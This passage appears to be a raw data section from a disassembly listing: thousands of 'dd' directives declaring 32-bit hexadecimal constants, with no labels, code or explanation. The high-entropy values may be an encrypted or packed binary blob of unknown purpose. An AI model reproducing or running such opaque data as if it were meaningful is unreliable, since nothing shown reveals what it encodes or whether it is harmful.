		dd 0E192CB63h, 1108D1DCh, 0F82912B5h, 9FE5ADDh,	75FB5FF2h
		dd 5C5EB809h, 0E64EF47h, 0FB1CA492h, 0ECEED097h, 0FF870F1h
		dd 0DAF659CAh, 0FEF48242h, 2D653457h, 950BC0E9h, 0A3274750h
		dd 4AAD98ABh, 70D19F10h, 0E4CC9089h, 5DD2F0A6h,	0AA258758h
		dd 1E6F56D4h, 0C1F2FBD3h, 76A7284h, 0E125F488h,	7F12BAF8h
		dd 0BE71AE9Dh, 5C002FFEh, 5F662B68h, 217B8AFh, 6F83BE56h
		dd 8FC16276h, 94E62D86h, 1AFA4BD8h, 0D05F0CD5h,	9C0BDE1h
		dd 0E8B76512h, 13415315h, 0A4A0AE1h, 0A6448DADh, 0FF151977h
		dd 70E23E14h, 12D6C785h, 236298AEh, 4E7C8D56h, 25E9EA2Ch
		dd 677F69CDh, 0ABFA1686h, 0E9164CCAh, 55174A7Eh, 777A0281h
		dd 88607DC2h, 3E2E4DEBh, 6D00081Bh, 2D0A1467h, 7C370364h
		dd 0DE24E9FCh, 5FEBAE4Fh, 3D71043Bh, 0BFBE8001h, 0BD2F067Eh
		dd 0D47E4029h, 49DB97BAh, 6E7C400Bh, 8C6818A9h,	191BCF6Ah
		dd 0F4A50091h, 4D7F5AF5h, 0C1D5263Eh, 2A258868h, 0D5A80631h
		dd 3A86392Ah, 0BFA5E3EDh, 5AA450CCh, 7B2DAE53h,	2B1E9D3Bh
		dd 332169CDh, 173BD5A8h, 85C6A217h, 0D34F08F3h,	2CF7500Dh
		dd 791660EAh, 612C5847h, 0ECE9D809h, 0BF0D0760h, 46CB111Eh
		dd 71ACFD8Bh, 98A288C4h, 0FB0BC820h, 0DF322E11h, 3408F6A8h
		dd 74ACBA0Ch, 1643E909h, 50B18DFh, 204C2801h, 32549F08h
		dd 665FE904h, 0B9F24FD3h, 0D739136Fh, 866EE407h, 0DBB4B17Bh
		dd 33D87AFEh, 9D5A5BEEh, 8BBC6093h, 24286C9Fh, 0C3F97A06h
		dd 2D105C4Dh, 3650D472h, 9E75F003h, 9EB810B6h, 14428A96h
		dd 0DEDEB450h, 357C3C95h, 8022165Dh, 4503EBE6h,	3B0E7724h
		dd 7802F801h, 51614358h, 0E1991282h, 0C862687Bh, 47A4E41h
		dd 592DCAF9h, 0C02643D9h, 0C59D8722h, 3C1A3FD9h, 61F5B14Ch
		dd 0E73AEAF5h, 0A11C0E9Ah, 5C831380h, 463FDAE9h, 90E7E629h
		dd 2220000h, 0E9567B61h, 2FE10538h, 0FE9263E9h,	0E9829FA3h
		dd 1C7D7E86h, 97E9832h,	784B563Ah, 39274F6h, 0EF3C20EEh
		dd 53268BBCh, 0E9061C69h, 3380987h, 0EE86CE88h,	878D5F6h
		dd 0E066F125h, 3CBEB320h, 5B32D928h, 20C2090Eh,	0C72573F4h
		dd 0BA5D2746h, 0D19F10CAh, 635D8268h, 591790C8h, 82014EFBh
		dd 87825051h, 8B669A6Eh, 472468F8h, 98C6F373h, 3D63BDB7h
		dd 0CF2DEBDDh, 724D806Fh, 31143BFEh, 8E5AD5h, 74E35925h
		dd 5A5FFD09h, 0B66F984Dh
		dd 2F2FD2E0h, 6C50F121h, 82D9C52h, 20E47C29h, 0FEE9BDCFh
		dd 4B07C66Dh, 9AE4FA62h, 2D56808Eh, 0B503EFC0h,	0BB17C2D6h
		dd 7878C5ACh, 61CA2EC2h, 4C961010h, 23751272h, 4E5C020h
		dd 71104E6Bh, 5D62C63h,	0CD4673FBh, 7F0E76F1h, 4EDB23CDh
		dd 8FD9EA03h, 4947BE3Bh, 6E40E781h, 0C14F2710h,	0F71CC978h
		dd 93C53ADEh, 505A4319h, 0C388403Eh, 67236F13h,	620BBE90h
		dd 5766936Ah, 80DA4C2h,	514051Ch, 0E41E5486h, 4E165368h
		dd 1DEE0C73h, 0BD0A8FFh, 29B3148Ch, 0C7E2B04h, 5AE09C5Dh
		dd 2E4B865h, 440E1F7h, 0D1FAD742h, 23F77082h, 1246FD45h
		dd 0FA478F10h, 3322A29Eh, 212F54Fh, 0D627F6BBh,	0AC104DA6h
		dd 0B4804E42h, 0E1617E68h, 0A5E7A83Fh, 0EC13DC84h, 61FFC953h
		dd 389BFE3Ch, 57729953h, 1646B460h, 0F1430E16h,	0E9D9CCE7h
		dd 1610D32Ah, 0CEEBBE01h, 0A8055D30h, 2DD084D1h, 380925F3h
		dd 0F30C2DFh, 9119407h,	443EF4E9h, 1556C8F5h, 60135726h
		dd 4E402EF5h, 0B52FC9A6h, 7C77C562h, 26090211h,	0E7FC558Bh
		dd 60DE502h, 0FEDC5571h, 382FD249h, 61D8FE33h, 2B78BFC9h
		dd 6564A5A0h, 0B96F950Ch, 5F310B60h, 22C9FCD1h,	28524A28h
		dd 0F2F85767h, 0C3D0885Bh, 714E97CDh, 40D6F82Ch, 4EB055B6h
		dd 7CDFF627h, 5BDD507Eh, 9658C5B5h, 4E75ACA1h, 3D16DD8Bh
		dd 8C6AE816h, 41028453h, 64BE2F52h, 0D6A1EB0Eh,	0EE4AB232h
		dd 0E7E9E202h, 0DD22550Eh, 8771FB6Fh, 0CEEBD7CEh, 22F4D4Ah
		dd 1CA110BEh, 2AC68045h, 0BF633775h, 0E50CC676h, 0AC51A05h
		dd 0A34B3243h, 3CEA029Eh, 287D152Ch, 8B1E084Ch,	0CA19D1EFh
		dd 67B78260h, 85D51786h, 0E4AA07D9h, 0C3242F86h, 5383130Bh
		dd 915E33Bh, 9A591E5Ah,	1CD018D8h, 141C6808h, 5C97572Eh
		dd 0AEB507BCh, 14B9F748h, 0B712E566h, 735CC58h,	5C28F541h
		dd 30045217h, 66B8B72Eh, 80B15101h, 21E9CF08h, 0BA007F2Ch
		dd 49E6195Eh, 0B498D631h, 1513E75Eh, 70629EEAh,	80001B90h
		dd 0E83085C5h, 9C1B5AE9h, 47FA70Fh, 0EC985E1Bh,	0BD5C97D2h
		dd 66D0C90Dh, 0E12A7335h, 1B2C7F86h, 0AD314E29h, 89BAD6C6h
		dd 0C28A2010h, 0C7647ABEh, 0F64EB8AEh, 68E91847h, 0FA3534BFh
		dd 61673C0Fh, 0B6126548h, 0B90207F9h, 49912B47h, 7BA2EE57h
		dd 63421235h, 0DE14AE68h, 5EADDDE9h, 535982F7h,	44C047C4h
		dd 0D58412Bh, 4FE648DAh, 0EF6A8F21h, 0EE97307Eh, 7F4B3E7Ch
		dd 2B6868A0h, 26FF506Bh, 0BFF200Eh, 55D831ADh, 0B72B0B82h
		dd 0D6F58100h, 0C73FF90Ch, 0C7174CDBh, 3B5A8302h, 75FD5B57h
		dd 5DA53347h, 16BD88B6h, 82FA7148h, 64A0E458h, 8B2DB830h
		dd 1263D4F3h, 55ACB8AFh, 3A8320BEh, 52BA2003h, 0CC42D687h
		dd 370963C5h, 5523A563h, 6FC5A5EEh, 4289EB8Ah, 7EB55C58h
		dd 0DE4C700Dh, 250F25A0h, 0FD4AE0BFh, 30539851h, 683ED529h
		dd 8A312E2Dh, 0E4728A79h, 7F9CBE00h, 78147562h,	0D9C75FD3h
		dd 4EC2F02Fh, 0AC4112A1h, 0ACAEB4BFh, 0A9683F96h, 0B09EE542h
		dd 23EB28D6h, 0FCC6E8h,	0B53F8568h, 272A9061h, 0EE49EB87h
		dd 4C7F7954h, 231B0570h, 10FF7E8Eh, 0B75807E3h,	7AD51024h
		dd 14C2BE7Ch, 60FF2932h, 6181C35h, 0EFE945D3h, 962A8DC2h
		dd 789F5A6Bh, 1CC5651Ch, 2131C131h, 0C3828AF3h,	0AC05A602h
		dd 63FEDF01h, 0EA848A2Ah, 9648BF8Bh, 73013506h,	0B09F3650h
		dd 27407D93h, 0D65C2591h, 0F2144916h, 11F6059Dh, 40AB542Ch
		dd 52332A0h, 120E914h, 1DADB07Dh, 6E6B17E6h, 4B1131D3h
		dd 0C60A855Eh, 0C7C4166Ah, 85E4FDEEh, 0B7AF6CE5h, 4EAF588Bh
		dd 0D15BCBCAh, 225EA7h,	0D00BE2E9h, 620E95D7h, 95FB14Eh
		dd 3F680A05h, 2A124111h, 0AF2166h, 7E0FE546h, 51906B06h
		dd 24FB8748h, 0D000763Ch, 89F0BA0Ah, 0C319B0EBh, 0BB32E906h
		dd 6945E35Fh, 0AE5607C7h, 0C8E12B46h, 8F70B722h, 3922E548h
		dd 0DB31CE93h, 733162EDh, 598AD06Ah, 2B61FA6Bh,	8CBA830Ch
		dd 2F37DEF2h, 54356E0h,	0CB3C6774h, 2774CC59h, 0D7FBA8AEh
		dd 7D4EA709h, 412DC658h, 90D8E4BDh, 16BA5E4Eh, 41CFAAE4h
		dd 6BCFE90Bh, 52C01071h, 0D25CE950h, 0B0EAA857h, 0A83E9E68h
		dd 0C1F9D1C2h, 2897B428h, 0A6D2E4E7h, 8F4FB8BCh, 8ABA9698h
		dd 12FF5A32h, 4F05EC6Eh, 0F2D879CBh, 8EB9A127h,	0E9535243h
		dd 1A82544Bh, 0F205F9BDh, 0D00B0057h, 4173C830h, 24524601h
		dd 476B016h, 824BA1B8h,	45DD592Fh, 87869214h, 0F928C213h
		dd 6605B44Ch, 0CA885250h, 57A8FE12h, 0B11C8091h, 49D11EBBh
		dd 0F1536A1Dh, 0A07B608h, 1E7602BAh, 0C72882C1h, 8FF0146h
		dd 0D221083Bh, 502E6861h, 0E829A193h, 76564A90h, 5DDA4BEEh
		dd 0CD099CF3h, 30A27ACCh, 80346254h, 6CB2CEAh, 19685779h
		dd 0B0025044h, 0E9C7201Ah, 9571D824h, 175B8260h, 0E3034591h
		dd 0EAEF14CBh, 0E952B8D3h, 75715BDCh, 0C28F0D28h, 8BEC7823h
		dd 592B21BFh, 0B259FC88h, 0D2437292h, 8FF88107h, 7D0ED180h
		dd 0EE6B932Fh, 71E913F1h, 60A3E52Dh, 0C1D60E53h, 0CE9C9506h
		dd 0EF83176Ah, 6AFCD802h, 5C1914B4h, 843B294Bh,	0C5FCAEC9h
		dd 217D766Bh, 2536E9A0h, 0A34CA123h, 1E74011h, 0CAD012C6h
		dd 47B8959h, 12FC2459h,	0BC7913EBh, 5EC8A4C9h, 36BB0553h
		dd 0BE08613Ah, 0DD0556C2h, 0F5838378h, 0DF2FDE20h, 4B55409Ah
		dd 0D6354807h, 76790412h, 8472250Eh, 7C17AB3h, 0C278E749h
		dd 22DBC9A1h, 0BD6882A2h, 9D14D52Ch, 0FCF10395h, 87794D22h
		dd 1237B24Ah, 0C8EDE0BDh, 105B05D2h, 53B613DDh,	5772FB8Ch
		dd 747E572Dh, 0C7EFCA3Ah, 6F06A07Eh, 88BF41ACh,	0E909075Bh
		dd 0BB8E406Ch, 123F1E34h, 0E8A38C0Fh, 7909BA14h, 5653825Bh
		dd 603185Ch, 0C2148305h, 20D64A01h, 0F3282440h,	0FB931399h
		dd 5BA89F88h, 0ED6D31A1h, 0BDEA0484h, 0A65B3DCEh, 51937537h
		dd 0E983B8F7h, 2A1DA962h, 96D7F430h, 8C1429F1h,	0AD05E8ABh
		dd 0B5AF5064h, 51465A09h, 3CF3429Ah, 3DBA4B29h,	134392BFh
		dd 0E99F17EEh, 67E9B1A2h, 0C10C686Ch, 0ED3608E6h, 0B3828C9Ch
		dd 0C221CC43h, 68D2A085h, 8E0D78h, 56575865h, 0E5074BEh
		dd 81414E61h, 0FAD0A1EEh, 5D51B53Fh, 1E30853Eh,	0C70C678Fh
		dd 0EEE5973Eh, 0C86B4A03h, 0F49008EAh, 948E7C20h, 13F8ACCAh
		dd 25193D8h, 2B5E1AC2h,	7264762Dh, 0CAC6DC76h, 0E0564BB8h
		dd 0B63E11F7h, 3F251338h, 6AC04FB8h, 4A50DA5Ah,	0F36D4C3h
		dd 4E93AAh, 0F390E7D0h,	5EF209C3h, 9409239h, 18FFD3E9h
		dd 5AC1211Ch, 0EC0BEA58h, 0F7C4DFC5h, 68A7CE85h, 953DA3CDh
		dd 8FD0057Eh, 44405E47h, 445405h, 6106ABBBh, 174C9870h
		dd 0FA8F9EF9h, 0DEEDA51Ch, 0ED5F273Dh, 2D5093Ah, 760B0F46h
		dd 766B8558h, 0BBE02D5Eh, 0E1245618h, 703311Ah,	4192860h
		dd 770EB40Ch, 0E594EF49h, 90C081Ah, 5E487D14h, 588135B2h
		dd 15E0EEF1h, 0ABC4B5E2h, 68D23105h, 47443E54h,	0A7A165E9h
		dd 0A28ABC6Bh, 270AEC5Eh, 0CEA29868h, 2901ACC8h, 0A86E05D8h
		dd 0F1127574h, 0A6BE4837h, 30E93E5Fh, 8B5D306Fh, 6D5C9D2Ch
		dd 0B847BF56h, 38E3ADA4h, 0B9E401F6h, 58551FC9h, 67BD481h
		dd 36E0E3Bh, 40384EF1h,	390C0927h, 1C031F2Eh, 30FF02E1h
		dd 7C8B25C0h, 1B598CC0h, 76216F74h, 0E6817CBh, 0BBE36143h
		dd 44915211h, 278F795Fh, 89AC895Dh, 0FA505534h,	8160D9Eh
		dd 438514B8h, 8FB4BCE8h
		dd 0C579CC68h, 0BB934AC1h, 0A64F078Bh, 1DCB5A22h, 0B25D2C04h
		dd 7C81FE10h, 342E60F0h, 0BB8882E3h, 6F6A750Bh,	2BD5CB61h
		dd 6352838h, 7AC0C3E8h,	0E090A950h, 0F83B6841h,	64E706DBh
		dd 0B7AE0EEFh, 0B5540D5Eh, 0AD2095FBh, 780CD69Dh, 5699D777h
		dd 642C8C8Bh, 0D74A9D78h, 9D8078D5h, 3E6EF938h,	82DB5481h
		dd 0E975DCD2h, 5427BCFCh, 0F44CFB41h, 0EC0510A7h, 96CDBC5Fh
		dd 5C23E504h, 0ABE66804h, 67B6CF44h, 192EEA3h, 0E84C50C4h
		dd 0BA3E8D4Fh, 0A02BD1F6h, 704DAA38h, 3BF203ABh, 0D90AA229h
		dd 0E4736EDDh, 1D455827h, 1408C88h, 6A011DB8h, 4DB13A33h
		dd 0C2B21C6Bh, 836851F3h, 537EC5Dh, 31F2411Dh, 0DAA54056h
		dd 0E9485F28h, 8BD93A32h, 0CBEAF5EFh, 68130F96h, 66605753h
		dd 16AF4CA1h, 0FEDBF711h, 35B4A299h, 82B8AF2Ch,	0C42CEE5Eh
		dd 4DEB3187h, 28F3E906h, 500B5FFFh, 0F53B283Dh,	0CF8159E0h
		dd 195207D7h, 0AFE7C178h, 0AF23F720h, 501AE2Fh,	3B6964CDh
		dd 8BDC322Dh, 0F9E6B851h, 0FB840745h, 20AA1217h, 0FBCEE954h
		dd 3AC9FE5Ah, 3DD0886Ah, 0A4FF768Ah, 0EC579260h, 80BFD244h
		dd 0B4E9F91Dh, 0A83DDA4Fh, 0EC28B2Ah, 1663D368h, 539B8EABh
		dd 3A449655h, 580A2F3Ah, 0C9571E57h, 5422B876h,	21F14792h
		dd 3F2772ADh, 9B9E5250h, 571763h, 1C69EAB0h, 0C0954B64h
		dd 814493F4h, 1EEA2B2Dh, 13DCB4FBh, 1F25EB91h, 1012361Fh
		dd 0ED693EC5h, 4A85CE2Eh, 35D4C8FFh, 0B2FEC62Eh, 714F6DEFh
		dd 7363B400h, 0D13B0557h, 0BCD6F7EEh, 206904E0h, 9A0F0FE4h
		dd 0D5964965h, 53E2121Ch, 7895BFB9h, 4B09D08h, 0FA7B7968h
		dd 5B059ACFh, 0FE8ADFE9h, 8948C9E3h, 0F2C25F85h, 0C5238AE5h
		dd 0BB23FDA5h, 0BE4FC5CBh, 5575C8AEh, 0CF958767h, 31A1D73h
		dd 4594BF0Eh, 8DE50C7Fh, 7DE501BFh, 505C0162h, 8B0E9D2Bh
		dd 0C4F2A2D3h, 0E9055F0Ch, 0EF1A66F8h, 24681280h, 27CBBB0Dh
		dd 85FFB84Bh, 0AC1BF387h, 47CD908h, 0B823302Bh,	31581970h
		dd 384805AFh, 90EE6C73h, 5920E9F6h, 4D444F2Eh, 2EEEF102h
		dd 0A1D08F50h, 0F4137753h, 0CB61F7D4h, 0B709F1FBh, 26EBAD7Dh
		dd 7CF7B22Fh, 7342820Bh, 70D3FE58h, 511247EDh, 8DEC2957h
		dd 0B87B0841h, 8708F52Dh, 0F92106E2h, 510B705Fh, 0D6150A20h
		dd 0E2762FB4h, 0BB7E5178h, 96AC0996h, 686271DEh, 0AF98D701h
		dd 5595B850h, 0DC485E89h, 532628Fh, 81F7784Ch, 0B527E907h
		dd 2C785163h, 46061FE3h, 0C4B7877h, 0C49ED5B8h,	0E8A43B17h
		dd 0E601018h, 0F8E6891Dh, 89695524h, 0B87F271Eh, 0D3659350h
		dd 0ECD0FE59h, 0BFD7F747h, 4BE98360h, 0F609B7BEh, 39187DF9h
		dd 97FE3381h, 0E0E95E4Ah, 9CCDCDDEh, 9F036B16h,	0DAC8CC80h
		dd 75384BE8h, 4211B6ECh, 0A5478E25h, 2CEDE525h,	211313FAh
		dd 8E6E39C8h, 0C588EEBDh, 1AEB9FE2h, 3EC522E6h,	7092E9C2h
		dd 7880765Bh, 70FC2C1Ah, 8456F2Ah, 9AE2EF50h, 81874B79h
		dd 385559E1h, 9140B920h, 7FC026B1h, 0D9F625E9h,	7C505D41h
		dd 60BF4F7Dh, 0FA54DF31h, 6DF05AB8h, 4229D9BFh,	59F5F137h
		dd 73281A0Bh, 1A0BBF7Eh, 3000DF5Dh, 49457AEBh, 93676BDh
		dd 64FE38C1h, 0CB930F68h, 27DDA608h, 42DA18Ah, 0FAC46859h
		dd 0EA236446h, 75BB0E76h, 0A534B31h, 4045DC75h,	4D546AC8h
		dd 0DE4E5B79h, 0BF89DAD9h, 9ADF8B68h, 0A5E5C9F4h, 358509CEh
		dd 429EF05Fh, 5861CA41h, 453EC97Ch, 0ECBA2660h,	0C4B88D08h
		dd 59A1D467h, 0EBF0B764h, 0CEFA9741h, 5057452Ah, 97BBF4h
		dd 5D0105E4h, 0AE7E4ACCh, 0E909029Bh, 467750E1h, 58542626h
		dd 0ACA2E11h, 17C1C188h, 3FE9F33Bh, 0AECC4E5Ah,	45501015h
		dd 4732810Ch, 0FB310BA8h, 0C47DE66Ah, 31BFCC05h, 2ABE8A88h
		dd 0C238ECA3h, 0EEF4EA51h, 14B297BCh, 8967B257h, 0E340D792h
		dd 513B951h, 43018065h,	0D729DEE9h, 9BEB61FAh, 25C2CB3Bh
		dd 0D8A57E2Ch, 0CE9FDAF8h, 6086F622h, 58B816C2h, 7E02F567h
		dd 256C9D0Dh, 9C62D555h, 6A4BDB60h, 0E03A8A2Dh,	97F1C34Fh
		dd 68863DF1h, 2F51592Dh, 0B84E2F19h, 0B46D2BFh,	0EBECF870h
		dd 322993F7h, 5880F3CCh, 0EE59C97Ch, 0B5B977E6h, 22D6F054h
		dd 0D10B009Bh, 52CA5C67h, 536D25D7h, 3BDF611h, 5F268EBEh
		dd 36965008h, 5677823Bh, 0A5B0951h, 0D000CD66h,	81563B73h
		dd 178C34C2h, 0FF50A9C4h, 8FEBD331h, 456B2104h,	0F291801Ch
		dd 0E204F416h, 5AD72731h, 6805DDF4h, 99454DE7h,	8FC8F6C6h
		dd 5946181Dh, 85149D51h, 5EB45080h, 0D5D2A48Eh,	0A594DE95h
		dd 8B9ACF7Fh, 0C65EDB71h, 0D978E5C2h, 39D5A758h, 2C7C5F47h
		dd 4A7ADD50h, 8473CBA2h, 6DB8EE94h, 3BECEBC0h, 12C29A8h
		dd 0B2073DD3h, 40ACF421h, 4BE516C6h, 0AEE5C412h, 0BEC53FA8h
		dd 0FAB9D1EAh, 49496A5Fh, 55DCC263h, 0FBA49FF3h, 9C0F562h
		dd 4833515Dh, 40AB6281h, 5E60CAF4h, 0E1076CE9h,	9F99B96Bh
		dd 2185FF13h, 2E78F4F8h, 0BF80F09Eh, 0A007464Ah, 80BF24C9h
		dd 1C886804h, 77734C86h, 16AA0510h, 0D819F987h,	55F05008h
		dd 90109778h, 4B552168h, 5A5EE04Ah, 0F5251092h,	92B9552Fh
		dd 27AB3992h, 78E9710Ch, 0D1AB9187h, 0B05A2878h, 7AC34792h
		dd 0F768A108h, 6AEA0E04h, 466D29D6h, 5F97590Bh,	0B2D245BEh
		dd 60EC7DEBh, 490BB8B3h, 57736077h, 17E9F7C8h, 16254F5Bh
		dd 79C89CFEh, 0F73C3941h, 0BFF72F78h, 59D579E2h, 59C543FCh
		dd 74F7ED03h, 6EF161h, 0F1F230Ch, 0FAD0E93Fh, 5DDEEDAAh
		dd 8E94F525h, 32E213D2h, 28310492h, 39AE1217h, 0C1804082h
		dd 2B3A395Bh, 63EAD5E9h, 0EA939E9Eh, 0CE258AAh,	0F92837DDh
		dd 0A8099311h, 0F825C871h, 0E606D3C9h, 5337007Fh, 7E2D0644h
		dd 4A5F013Eh, 0CF7D1925h, 0F6B23B5Ch, 2AE07Ah, 0A50D224Eh
		dd 3528E634h, 26184FECh, 565C290Fh, 0CF03F68h, 259090FCh
		dd 595AD85Dh, 59E74826h, 0CF42AA40h, 65B9F61Ch,	0EAC2D552h
		dd 0E1472BA1h, 0DE22C8D2h, 7445510Eh, 29295CEAh, 0EA6999F8h
		dd 4CABD515h, 0AC8228A4h, 0C5BE033Dh, 0D27C7620h, 62DF64Ah
		dd 24F8015Ah, 0CAE61454h, 0C16E32B8h, 58E6040Eh, 3ACAD9BFh
		dd 80C6341Fh, 1E061DC6h, 1DCE288Eh, 295E6DEEh, 7D495597h
		dd 0BB4855BDh, 57C06C1Ah, 0C05B66FCh, 322CC6E4h, 0C3988DCEh
		dd 0A928B278h, 0A797DF45h, 0E9C129B4h, 277AEE3Ch, 0CF239B27h
		dd 6DAA6866h, 0A842F454h, 0D5147730h, 0A23FA720h, 0AA29F7FAh
		dd 0B6DCA30Bh, 59CE2986h, 0D0C8BD1Eh, 0D87DE955h, 9F09ADBAh
		dd 500C57CCh, 0E43B0AEh, 79180AB7h, 0A4141EF8h,	24AC3D48h
		dd 0F2409DE4h, 69C2964Ah, 6BFADAAEh, 888482BDh,	805004EAh
		dd 96184275h, 0FB9280FFh, 9615653h, 18F695CDh, 47526500h
		dd 1740E681h, 0AA24E425h, 2AE9CB02h, 0FC848BBEh, 0C43B09BAh
		dd 31489414h, 3352102Ah, 8ADF0116h, 0F5A06B72h,	0F72955C0h
		dd 0F40DC98h, 7C709F59h, 9DF27220h, 0D9D090F5h,	0C2BCB692h
		dd 76090DA4h, 0C3DA0918h, 0EA9F86F9h, 86B27F2Dh, 0B72B66F5h
		dd 0F20955E7h, 985646E1h, 5FBF3119h, 1090F01Fh,	0E9273E05h
		dd 1CBBDFA4h, 0BF1C7412h, 843C2E8Dh, 78310104h,	0C0E5C040h
		dd 1D30CC7Ch, 541A0E4Bh, 0A0DC4B11h, 5760AEC7h,	23B5515Fh
		dd 1E87628h, 34A80459h,	2FC23010h, 27C42AA8h, 1EB20067h
		dd 7E66D028h, 883ECF5Ah, 5B2161E9h, 89678C68h, 0FCB789C3h
		dd 78F273CCh, 0DF27AC56h
		dd 43DA9E32h, 0CB585421h, 3BD44575h, 41CA9EF8h,	7B35C468h
		dd 0FE9600A6h, 0E64946CEh, 0A65E90Bh, 36598F7h,	11432568h
		dd 0BA071898h, 79375FA4h, 4EC4F546h, 1FCBB07h, 3C313932h
		dd 67E9B047h, 8E59BF02h, 755D5BC2h, 0B9877751h,	4E151B54h
		dd 0F66941FFh, 7D6E8E2Fh, 0D6E9077Dh, 0E3A9A45Ch, 0AE6FC282h
		dd 29AFD2D8h, 2DCA6102h, 38B133Ch, 2CE922A4h, 0A5FA8D73h
		dd 515B6EF2h, 278901CCh, 0A2FF58C1h, 0E648BA7Bh, 0FE2925F6h
		dd 124B14FDh, 0DD8F5DE9h, 0CAB77F07h, 63AC144Ah, 725FA800h
		dd 0ACF38165h, 0CCA10DD6h, 2EF7296Ah, 2B3129AFh, 5204688Bh
		dd 0E5E4E8E9h, 984D0128h, 25BB0045h, 63F01659h,	0FB7A0157h
		dd 272DB30h, 98967775h,	0A2792220h, 5A587729h, 0FC5B739Eh
		dd 41E52DCCh, 95DAC2E8h, 4ABBA020h, 0A000BA05h,	2F142D5Dh
		dd 0BC174AD2h, 57074036h, 43386812h, 2102CCBEh,	121B0480h
		dd 0E058C628h, 876403D4h, 88AAC86Bh, 0C4089FCh,	0B4744EE3h
		dd 594BCBC0h, 8A2CB444h, 0F6D58112h, 6AAC60D9h,	7FF10BFAh
		dd 0A9F8BD39h, 3A679D63h, 4CBCC2Fh, 68C8BF0Fh, 88E3EF81h
		dd 0E821E2Ah, 8058E728h, 0CE641D6Fh, 2ABC89Bh, 764EEE94h
		dd 0DF5800C2h, 3A22E0CCh, 0EABF0B5Ch, 5FD05D42h, 0A2BD1813h
		dd 0C20AB4BEh, 0D97E7117h, 103616FBh, 0C06B08ADh, 76C138F5h
		dd 3348BDD7h, 59BD4337h, 74C9CFBCh, 0FF252074h,	7E91269Eh
		dd 0B237908h, 6209D731h, 98A9F05Dh, 7510FCACh, 847597BBh
		dd 81F14973h, 58C2E67Eh, 0B652820Ah, 6F8457F6h,	0FF96B18Ah
		dd 3E9868D8h, 5A704706h, 5E0D99B8h, 8F12BC31h, 9DF757F2h
		dd 7DF6EE25h, 9B5F6B2h,	0B273AFF4h, 0A6D1D4EFh,	418628BCh
		dd 7EB30EAh, 161F63EEh,	0F07BF589h, 0FB75FAFBh,	261AA5A6h
		dd 14A6F747h, 5E099910h, 0F42215Bh, 0E298E5F5h,	0AD002AD2h
		dd 0C976C968h, 0A05E7B53h, 9F2F142Dh, 7615325Dh, 0CFDD8B4Ah
		dd 0B8811650h, 0BECD7067h, 135008E9h, 4EDDC8E9h, 92242E23h
		dd 27F4EA0Bh, 0C616200Fh, 0E6A5B727h, 3FD60B6Dh, 4A776654h
		dd 0BF4C5D6Ah, 4E7B732Eh, 44231D82h, 0F7F86826h, 2CEBCD1h
		dd 0F95CA6C9h, 97FE5257h, 0E9DB0175h, 0B88ED918h, 0BEFDC588h
		dd 0CB82E2DBh, 27AA4502h, 15682730h, 94723C4Eh,	9CA584Eh
		dd 0EC2CEE0Ch, 461CC1F7h, 0FC5AC129h, 3F49E47Ch, 5A170053h
		dd 27153602h, 36CBD5E9h, 0DFEE72B7h, 0D59555F2h, 0CC72928Bh
		dd 403C3804h, 0FF522948h, 0F52DD64h, 5B2E4EACh,	26FC270Dh
		dd 13BAF25Ah, 0E4FED0C1h, 2D813D93h, 7185F86Ah,	258F7CB5h
		dd 0F5271259h, 45A8E21h, 6EA22B12h, 390453CBh, 0B3831D3Ah
		dd 0D1D820D2h, 2901A1F7h, 841579C1h, 6858A093h,	80188FB2h
		dd 206F5E2h, 0E6DA5AF6h, 6B210F3h, 550B5525h, 107360D8h
		dd 5A59CEC2h, 3FCC875Bh, 45D6C287h, 0C97FFBE9h,	19BBBF3Ch
		dd 57D16930h, 0D2C89CDCh, 264A012Ah, 7B65EE3Fh,	38047BC3h
		dd 0A6CA2820h, 4B3B190Bh, 36EC697h, 8EF3B854h, 0C33193A0h
		dd 892875A4h, 0C840B5DEh, 6799758h, 0B8A20316h,	0D685080h
		dd 154C797Fh, 171E3E14h, 46422602h, 572216E9h, 1626D37Bh
		dd 0F980FEA5h, 59387A0Ch, 0C3E16259h, 8DF3090h,	2650D6E6h
		dd 84E082BFh, 8007C8B3h, 0D3F6C0C3h, 7A1452A6h,	0E2EB254Dh
		dd 3A89A7D6h, 7EB37F1Fh, 577820D2h, 60C7292Fh, 7D9F49C2h
		dd 19822D7Eh, 0B13EF06Eh, 15B493B0h, 3CE09BBAh,	0C5E430E9h
		dd 0F502B15h, 272A0569h, 30FF338Eh, 0DB3558CCh,	2F776B16h
		dd 0A14C44FFh, 0CBAF17E1h, 4CF589Fh, 6F6A180Fh,	0C403F2BFh
		dd 0EC84C801h, 0CAE91303h, 0D11A1D06h, 0FB3ECBE0h, 97BEFF5Ch
		dd 4154D69Dh, 1227470Ah, 451261E9h, 2FFD7BD4h, 0A220B84Eh
		dd 56F97D59h, 10B95162h, 3C0BED81h, 7761A075h, 17089328h
		dd 0C525E259h, 0A7EAB9BFh, 0D8280042h, 3AB05052h, 0A8F54F68h
		dd 84B6CB9Fh, 0DDD5395Eh, 5C5E672Ch, 0A381AF59h, 825BBA42h
		dd 8496B90Ch, 80E15DE0h, 0BEDF542Ah, 0D2C94AACh, 0B6851B48h
		dd 5BD0F782h, 1DF58014h, 0BE055EDBh, 47CD51A3h,	17FEFE1h
		dd 0C68859F6h, 0BF07F58h, 21D84A31h, 2A6C680Bh,	0CA6FE5D2h
		dd 0DF7A897Ah, 0D7279515h, 0DC9584E4h, 0CD5292EBh, 0AD0DA7FAh
		dd 2520593Eh, 0A8B94A45h, 52818C2Fh, 7F1177C2h,	0CDA82775h
		dd 0FD885171h, 4762FC7h, 262768C1h, 1A32C258h, 6AFC680h
		dd 79DBC177h, 72781531h, 5DAB1F5Bh, 491CE6DDh, 0F5414E8Fh
		dd 691EF22Dh, 0B60D81A7h, 83A8EFBh, 510201CBh, 5FF7E2E9h
		dd 24FEFA27h, 9700B2F1h, 0CEB21EA8h, 7DC5B2DFh,	0E042EF74h
		dd 0B8757B90h, 309E995Bh, 0EC955A15h, 557520D4h, 2E31BF04h
		dd 0FAF21BEh, 2C456EAh,	0EBF6FFD6h, 0DC14AF5Ah,	0CB120D89h
		dd 0C52ED02Eh, 0C28BEABEh, 497564Fh, 0EA7377h, 0A96FF4BAh
		dd 0BA12F452h, 8D42BD30h, 0E8891441h, 76C06156h, 5A213AF4h
		dd 1179000Dh, 703538FCh, 1B34AB29h, 0A8EE8A31h,	755CE2F7h
		dd 39F04C93h, 0F7974C48h, 8F643DA1h, 0B40C2002h, 2FB8BAD6h
		dd 78E41710h, 697E3048h, 0C0E7621Dh, 250B5B28h,	47F237F2h
		dd 1B56ED60h, 9F5DEB09h, 0DD00E58Bh, 0C084042Ah, 69B0214Eh
